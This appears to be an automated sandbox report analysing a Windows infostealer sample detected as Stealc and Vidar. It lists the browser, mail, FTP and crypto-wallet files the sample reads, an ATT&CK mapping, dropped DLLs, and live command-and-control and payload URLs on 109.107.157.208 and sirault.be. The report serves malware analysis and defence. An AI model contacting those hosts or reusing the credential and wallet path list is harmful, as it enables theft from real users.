Code function: 0_2_6C6FB341 cpuid

0_2_6C6FB341

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00417B90

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00416920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00416920

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00417850 GetProcessHeap,HeapAlloc,GetUserNameA,

0_2_00417850

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Code function: 0_2_00417A30 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

0_2_00417A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.T220UXIoKO.exe.830e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.T220UXIoKO.exe.880000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.830e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.T220UXIoKO.exe.880000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: T220UXIoKO.exe	String found in binary or memory: \jaxx\Local Storage\
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: passphrase.json
Source: T220UXIoKO.exe	String found in binary or memory: \jaxx\Local Storage\
Source: T220UXIoKO.exe	String found in binary or memory: \Ethereum\
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: Ethereum
Source: T220UXIoKO.exe	String found in binary or memory: file__0.localstorage
Source: T220UXIoKO.exe	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: T220UXIoKO.exe	String found in binary or memory: \Exodus\exodus.wallet\
Source: T220UXIoKO.exe	String found in binary or memory: iDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json
Source: T220UXIoKO.exe	String found in binary or memory: \|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|Mul
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\
Source: T220UXIoKO.exe	String found in binary or memory: eam Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\T220UXIoKO.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\T220UXIoKO.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.T220UXIoKO.exe.830e67.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.T220UXIoKO.exe.880000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.830e67.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.T220UXIoKO.exe.880000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.T220UXIoKO.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2934347582.0000000000830000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1682295630.0000000000880000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: T220UXIoKO.exe PID: 6592, type: MEMORYSTR

Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8B0C40 sqlite3_bind_zeroblob,	0_2_6C8B0C40
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C8B0D60 sqlite3_bind_parameter_name,	0_2_6C8B0D60
Source: C:\Users\user\Desktop\T220UXIoKO.exe	Code function: 0_2_6C7D8EA0 sqlite3_clear_bindings,	0_2_6C7D8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	23 Software Packing	NTDS	144 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	21 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Virtualization/Sandbox Evasion	DCSync	1 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Process Injection	Proc Filesystem	12 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
T220UXIoKO.exe	100%	Avira	HEUR/AGEN.1306978
T220UXIoKO.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\JDAKJDAAFB.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sirault.be	185.98.131.200	true	false		unknown

Contacted URLs

Name	Malicious	Reputation
http://109.107.157.208/49aaa1bd4c594849.php	true	unknown
http://109.107.157.208/74bc575e584e922c/softokn3.dll	true	unknown
http://109.107.157.208/74bc575e584e922c/vcruntime140.dll	true	unknown
https://sirault.be/chrome_93.exe	false	unknown
http://109.107.157.208/74bc575e584e922c/nss3.dll	true	unknown
http://109.107.157.208/74bc575e584e922c/freebl3.dll	true	unknown
http://109.107.157.208/	true	unknown
http://109.107.157.208/74bc575e584e922c/mozglue.dll	true	unknown
http://109.107.157.208/74bc575e584e922c/msvcp140.dll	true	unknown
http://109.107.157.208/74bc575e584e922c/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	AAKKECFBGIIIEBGDGDAKJKKKEB.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17crosoft	T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://sirault.be/chrome_93.exeq	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	false	URL Reputation: safe	unknown
http://109.107.157.208/74bc575e584e922c/vcruntime140.dllO	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	T220UXIoKO.exe, 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmp, T220UXIoKO.exe, 00000000.00000003.1740576000.0000000020D91000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sirault.be/chrome_93.exeID	T220UXIoKO.exe, 00000000.00000002.2955281849.000000002E634000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://109.107.157.208/74bc575e584e922c/vcruntime140.dll?	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	JDAKJDAAFBKFHIEBFCFB.0.dr	false		unknown
http://109.107.157.208	T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	T220UXIoKO.exe, 00000000.00000003.1746233514.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAA.0.dr	false	URL Reputation: safe	unknown
http://109.107.157.208/49aaa1bd4c594849.phpion:	T220UXIoKO.exe, 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://109.107.157.208/74bc575e584e922c/msvcp140.dll%	T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://109.107.157.208/74bc575e584e922c/sqlite3.dllOI	T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://109.107.157.208/74bc575e584e922c/msvcp140.dll4	T220UXIoKO.exe, 00000000.00000002.2934433959.000000000090E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000971000.00000004.00000020.00020000.00000000.sdmp, JDAKJDAAFBKFHIEBFCFB.0.dr	false		unknown
http://www.sqlite.org/copyright.html.	T220UXIoKO.exe, 00000000.00000002.2945995098.000000001AE02000.00000004.00000020.00020000.00000000.sdmp, T220UXIoKO.exe, 00000000.00000002.2955547334.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sirault.be/chrome_93.exeB	T220UXIoKO.exe, 00000000.00000002.2934433959.0000000000952000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.mozilla.com/en-US/blocklist/	T220UXIoKO.exe, T220UXIoKO.exe, 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
